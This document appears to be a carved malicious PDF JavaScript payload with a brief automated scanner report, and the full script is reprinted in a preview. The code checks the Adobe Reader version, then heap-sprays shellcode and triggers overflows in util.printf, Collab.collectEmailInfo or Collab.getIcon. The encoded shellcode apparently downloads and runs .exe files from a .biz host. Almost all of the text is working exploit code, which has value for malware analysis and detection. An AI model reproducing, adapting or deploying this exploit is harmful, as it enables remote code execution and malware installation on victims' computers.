function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7469%u3737%u622E%u7A69%u702F%u6765%u632F%u6664%u6968%u3376%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7469%u3737%u622E%u7A69%u702F%u6765%u632F%u6D65%u7A70%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x36B 5276 bytes
SHA-256: aa46fa8918318b9a500e4569c53eee051135803269774ddff888b1937833c9a5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7469%u3737%u622E%u7A69%u702F%u6765%u6D2F%u7875%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}
function collab_email(){var shellcode=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7469%u3737%u622E%u7A69%u702F%u6765%u632F%u6664%u6968%u3376%u652E%u6578%u0000");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}
function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7469%u3737%u622E%u7A69%u702F%u6765%u632F%u6D65%u7A70%u2E33%u7865%u0065");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}
var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}
function pdf_start(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}
if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}
if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}
pdf_start();